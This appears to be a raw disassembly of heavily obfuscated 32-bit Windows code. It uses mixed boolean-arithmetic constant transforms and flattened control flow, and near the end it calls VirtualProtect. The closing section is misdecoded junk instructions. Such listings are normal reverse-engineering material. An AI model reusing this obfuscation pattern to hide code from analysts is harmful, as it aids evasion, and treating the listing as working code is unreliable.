xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x2f46a90e
mov edx, 0xffffffff
xor edx, 0x2f46a90e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
sub eax, 0xc13aee2b
sub eax, 0x90f3274d
mov ecx, eax
and ecx, 0x2c73fe4b
shl ecx, 1
add eax, 0x2c73fe4b
sub eax, ecx
and eax, 0x7bb21c45
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc8479320
mov edi, 0xffffffff
xor edi, 0xc8479320
and edx, edi
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc8479320
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x902b4d9c
add ecx, eax
add ecx, 1
add ecx, 0x9f70f44f
and ecx, 0x2fefe81f
xor ecx, 0x1639ab34
add ecx, 0xef90d3b4
sub ecx, 0xfac66fe
mov edx, 0xffffffff
xor edx, 0xacfa4d0d
mov eax, ecx
xor eax, edx
and eax, ecx
xor ecx, ecx
sub ecx, 0x39240997
add eax, ecx
mov edi, 0xffffffff
xor edi, 0x80a1692e
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x80a1692e
or eax, 0x80a1692e
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x9d766f43
mov edx, 0xffffffff
xor edx, 0x9d766f43
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0xd3c9b49d
or eax, 0xe415c656
xor eax, 0xeff3d380
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x35523ffb
mov ecx, 0xffffffff
xor ecx, 0xc5c39e47
or eax, edx
or ecx, 0xc5c39e47
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe4c6cbcb
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x783c756
mov edi, 0xffffffff
xor edi, 0x783c756
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x783c756
or eax, 0x783c756
imul eax, edx
add eax, ecx
and eax, 0x20623d02
xor eax, 0x2767223b
mov ecx, 0xffffffff
xor ecx, 0x1f128280
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edi, 0xffffffff
xor edi, 0x59bf30ed
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x59bf30ed
or eax, 0x59bf30ed
imul eax, edx
add eax, ecx
sub eax, 0xe2ccfabd
imul eax, eax, 0x7f8c2fec
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa3a35a63
mov ecx, 0xffffffff
xor ecx, 0x2818d04c
or eax, edx
or ecx, 0x2818d04c
xor eax, 0xffffffff
and eax, ecx
add eax, 0xbaf5a57a
sub eax, 0xaef00f7f
xor ecx, ecx
sub ecx, 0x521a82c7
sub eax, ecx
mov ecx, 0xa1acf95f
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x6c]
mov ecx, 0x93849f6f
mov edx, 0x2b813335
cmp edi, 0x3f69715f
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov ecx, dword [0x101cee7c]
or ecx, dword [0x101cee80]
or ecx, 0xabcd3e48
and ecx, 0x75ed3f21
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x650699c4
mov edi, 0xffffffff
xor edi, 0x650699c4
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x650699c4
or ecx, 0x650699c4
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xd51fee6f
xor ecx, 0xd51fee6f
or eax, ecx
imul ecx, eax, 0x87a633b1
xor eax, eax
sub eax, 0x8afb34a
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x270e43b
or ecx, 0x270e43b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0xafc6be92
or eax, 0x54403741
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x30802342
add ecx, eax
xor eax, eax
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x3546d3e5
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3546d3e5
add eax, edx
sub eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xb60b92d
or ecx, 0xb60b92d
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd7346270
mov edi, 0xffffffff
xor edi, 0xd7346270
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xd7346270
or eax, 0xd7346270
imul eax, edx
add eax, ecx
mov ecx, 0x7ead2e84
xor edx, edx
div ecx
add eax, 0x58d289dd
and eax, 0xf08e9c06
sub eax, 0xc8cf497
mov ecx, 0x8a53a05e
xor edx, edx
div ecx
sub eax, 0x207d7709
mov edi, 0xffffffff
xor edi, 0x83bc65e
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x83bc65e
or eax, 0x83bc65e
imul eax, edx
add eax, ecx
sub eax, 0xf30892ee
or eax, 0xc3b0b1f7
mov ecx, 0xa61a28e7
xor edx, edx
div ecx
or eax, 0x5d3150d0
and eax, 0x204ee63
imul eax, eax, 0x9aaa7fec
imul ecx, eax, 0x229d5d62
mov eax, 0xffffffff
xor eax, 0xbd40880
add ecx, eax
add ecx, 1
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x5b52f04a
mov edi, 0xffffffff
xor edi, 0x5b52f04a
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x5b52f04a
or ecx, 0x5b52f04a
imul ecx, edx
add ecx, eax
mov edx, 0xffffffff
xor edx, 0xfd1002cc
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x24a56977
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [esi + 0x20], eax
mov edi, 0xffffffff
xor edi, 0x3d12ea8f
mov edx, 0xffffffff
xor edx, 0x72d867b9
and eax, 0x72d867b9
mov dword [esi + 0x1c], eax
and ecx, edx
mov ebx, edi
and ebx, 0x72d867b9
mov eax, edx
and eax, 0x3d12ea8f
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x1c]
or eax, ecx
mov ecx, dword [esi + 0x20]
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0x24]
or ebx, eax
mov eax, dword [esi + 0x28]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x72d867b9
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x7fec04b0
mov edx, 0xffffffff
xor edx, 0x7fec04b0
and eax, edx
sub eax, ecx
and eax, 0x290511b
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6ce68435
mov edi, 0xffffffff
xor edi, 0x6ce68435
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x6ce68435
or eax, 0x6ce68435
imul eax, edx
add eax, ecx
sub eax, 0x1f656d3
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x5f8277a7
add eax, ecx
add eax, 0x71f1f6d3
mov ecx, eax
xor ecx, 0xb2e9f1d9
mov edx, 0xffffffff
xor edx, 0xb2e9f1d9
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x7f8eb005
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x6c]
mov ecx, 0x62fe5549
mov edx, 0x7249de83
cmp edi, 0xc2971f6b
cmova ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [0x101cee84]
add eax, dword [0x101cee88]
mov ecx, 0x3ff55f6
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x8825d4d8
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor eax, 0x6e8d1766
xor eax, 0x2a6c93af
add eax, 0x35acbd80
mov edi, 0xffffffff
xor edi, 0x9a089ace
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9a089ace
or eax, 0x9a089ace
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x4491fba9
add eax, ecx
and eax, 0x5906f6f7
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4458a3d5
mov edi, 0xffffffff
xor edi, 0x4458a3d5
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x4458a3d5
or eax, 0x4458a3d5
imul eax, edx
add eax, ecx
and eax, 0xa201e015
mov ecx, 0xe9e8246c
xor edx, edx
div ecx
sub eax, 0x7ff83e7a
imul eax, eax, 0x6bea34af
mov ecx, 0xa4860723
xor edx, edx
div ecx
mov edi, eax
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xa97b89ef
and edi, ecx
or eax, 0xa97b89ef
xor eax, 0xffffffff
or edi, eax
xor edi, 0xffffffff
sub edi, 0xbbcd8d62
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x22e2b8b3
mov edx, 0xffffffff
xor edx, 0x22e2b8b3
mov eax, edi
and eax, edx
imul eax, ecx
mov ecx, edi
and ecx, 0x22e2b8b3
or edi, 0x22e2b8b3
imul edi, ecx
add edi, eax
xor eax, eax
sub eax, 0x22de6c10
add edi, eax
add edi, 0xebca9085
mov eax, edi
xor eax, 0xffffffff
and eax, 0x3c1dcf6c
mov edx, 0xffffffff
xor edx, 0x3c1dcf6c
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xc743d6ac
and ecx, 0x3c1dcf6c
and edx, 0xc743d6ac
or eax, edi
or ecx, edx
xor eax, ecx
or eax, 0x1ec9f7be
mov ecx, 0xf006f2b8
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa7717852
mov edi, 0xffffffff
xor edi, 0xa7717852
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xa7717852
or eax, 0xa7717852
imul eax, edx
add eax, ecx
imul eax, eax, 0xcf7b031f
imul eax, eax, 0x3fd33f54
and eax, 0x5306c2d
mov ecx, 0xc1d9e81d
xor edx, edx
div ecx
and eax, 0x9433f5a9
imul eax, eax, 0xc4d2111a
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5edda8a5
mov edi, 0xffffffff
xor edi, 0x5edda8a5
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x5edda8a5
or eax, 0x5edda8a5
imul eax, edx
add eax, ecx
add eax, 0xe238b5fe
add eax, 0xde453e2
sub eax, 0xe238b5fe
mov ecx, 0x4affadf9
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa79b1ece
mov edi, 0xffffffff
xor edi, 0xa79b1ece
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xa79b1ece
or eax, 0xa79b1ece
imul eax, edx
add eax, ecx
sub eax, 0xa9ab6a20
mov ecx, 0x23d273fa
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x6c]
mov edi, ecx
and edi, 0x7ead7fcb
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7ead7fcb
or ecx, edx
and edi, ecx
xor edi, 0xffffffff
sub edi, 0xfa0e1d45
sub edi, 0x61b9066
add edi, 0xfa0e1d45
add edi, 0x2c77d30c
mov edx, edi
xor edx, 0xffffffff
and edx, 0x7c0c438b
mov ebx, 0xffffffff
xor ebx, 0x7c0c438b
mov ecx, edi
and ecx, ebx
imul ecx, edx
mov edx, edi
and edx, 0x7c0c438b
or edi, 0x7c0c438b
imul edi, edx
add edi, ecx
mov ecx, edi
xor ecx, 0x4705ca36
mov edx, 0xffffffff
xor edx, 0x4705ca36
and edi, edx
shl edi, 1
sub edi, ecx
mov ecx, 0x20cc3d02
mov edx, 0x7249de83
cmp edi, 0xe4a5532d
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov ecx, dword [esi + 0x78]
xor ecx, ebp
call fcn.101ad838
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [0x101cee8c]
mov edx, dword [0x101cee90]
mov eax, ecx
and eax, edx
shl eax, 1
xor ecx, edx
add ecx, eax
add ecx, 0x4a3bf61e
mov eax, ecx
xor eax, 0xffffffff
mov dword [esi + 0x10], eax
mov edi, 0xffffffff
xor edi, 0x4943ee6c
mov edx, 0xffffffff
xor edx, 0x45bca5fb
and eax, 0x45bca5fb
mov dword [esi + 0xc], eax
and ecx, edx
mov ebx, edi
and ebx, 0x45bca5fb
mov eax, edx
and eax, 0x4943ee6c
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
or eax, ecx
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
or ebx, eax
mov eax, dword [esi + 0x18]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x45bca5fb
and ecx, edx
or eax, ecx
add eax, 0xc9d354ec
mov edi, eax
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x7a99c8f3
or edi, ecx
and eax, 0x7a99c8f3
xor eax, 0xffffffff
and edi, eax
xor edi, 0xffffffff
xor eax, eax
sub eax, 0xd04534c1
sub edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x484f1d49
mov edx, 0xffffffff
xor edx, 0x484f1d49
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xcc55fb16
and ecx, 0x484f1d49
and edx, 0xcc55fb16
or eax, edi
or ecx, edx
xor eax, ecx
add eax, 0xb8c76ea
or eax, 0x59fbbcd2
imul ecx, eax, 0xbe362b3c
add ecx, 0xe90069c0
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x43bdd44a
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x43bdd44a
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x9158716a
xor edx, edx
div ecx
and eax, 0x31e0c436
mov ecx, 0x49d2468b
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x8cc8723b
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x3f535b25
or eax, 0x3f535b25
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
sub ecx, 0x7eacc22a
mov edx, 0xffffffff
xor edx, 0xcfd2aa2e
mov eax, ecx
xor eax, edx
and eax, ecx
add eax, 0x85500e86
mov edx, 0xffffffff
xor edx, 0xe1675d50
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe1675d50
add eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0xfdb9905a
xor ecx, 0xffffffff
add eax, 0xfdb9905a
add eax, 1
add eax, ecx
mov ecx, eax
xor ecx, 0xac4fd493
xor ecx, 0xffffffff
or eax, 0xac4fd493
and eax, ecx
add eax, 0x7f25d5d0
add eax, 0xb2494960
sub eax, 0x7f25d5d0
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6cd314f0
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6cd314f0
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0xf2acb047
mov eax, ecx
and eax, 0x560b3cd6
or ecx, 0x560b3cd6
add eax, ecx
add eax, 0xaca2323f
mov edi, 0xffffffff
xor edi, 0xd8a94f35
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd8a94f35
or eax, 0xd8a94f35
imul eax, edx
add eax, ecx
mov ecx, 0xbf5c8214
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0xbc8cbc7c
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xbc8cbc7c
add ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x8dd1540b
or ecx, 0x8dd1540b
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
imul ecx, eax, 0x6610287d
mov edx, 0xffffffff
xor edx, 0x72a1308b
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x42615d19
xor edx, edx
div ecx
imul eax, eax, 0x418397de
mov ecx, eax
and ecx, 0xad0156a9
shl ecx, 1
add eax, 0xad0156a9
sub eax, ecx
xor eax, 0xaa8fbe0a
add eax, 0xc918a453
add eax, 0xfc9ec7b3
mov ecx, 0x7aa54ec5
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x6c]
mov ecx, 0xce44a211
mov edx, 0x3e9dce16
cmp edi, 0x728c9464
cmove ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x30]
mov edi, 0x77ffaff5
out 0xf3, al
imul esp
push eax
mov bh, 0xd8
imul edi, dword [esi], 0xffffffc8
jbe 0x10100b75
fsubr dword [ebx + 0x3e]
enter 0x2e76, 0xc
jmp 0x189bea1a
or al, 0xe9
int 0xde
mov ecx, dword [eax]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 5
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x6c]
mov ecx, 0xff0a56b
mov edx, 0xce44a211
cmp edi, 0x5ec47161
mov byte [0xff81ce44], al
popal
jno 0x10100b41
pop esi
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [esi + 0x6c]
mov dword [eax], 0x2b813335
jmp 0x10100cfe
mov ebx, dword [esi + 0x40]
mov ch, 0x8c
out dx, eax
test dword [ebp + 0x58069281], ebp
invalid
xchg ebx, eax
sbb al, 0x10
mov eax, dword [esi + 0x6c]
mov dword [eax], 0x3ce90227
jmp 0x10100cfe
mov eax, dword [esi + 0x6c]
xor eax, dword [esi]
nop
and eax, 0x248a8b57
jp 0x10100c26
rcl dword [ebx + 0xa]
lahf
xchg dword [ecx - 0x39], ecx
add byte [ebp - 0x16c9f7dc], dl
test eax, 0x8b000000
inc esi
xor al, 0x8b
push esi
xor ch, cl
xchg ebx, eax
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x30]
int 0x93
invalid
mov eax, dword [esi + 0x6c]
out 0xec, eax
mov esi, 0x4aae1c1e
mov ebp, 0xe128e8cc
mov dword [eax], 0x62fe5549
jmp 0x10100cfe
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x30]
dec esi
rcl dword [esi - 0x12], 0x8c
pop ecx
and eax, 0x81d7385c
push ecx
cli
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
xchg esi, esp
imul esp
push eax
mov bh, 0xd8
imul edi, dword [esi], 0xffffffc8
jbe 0x10100cff
or al, 0xe9
int 0xde
mov ecx, dword [eax]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 5
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x6c]
mov dword [eax], 0xce44a211
jmp 0x100ff151
dec esi
in al, 0xff
dec esp
int3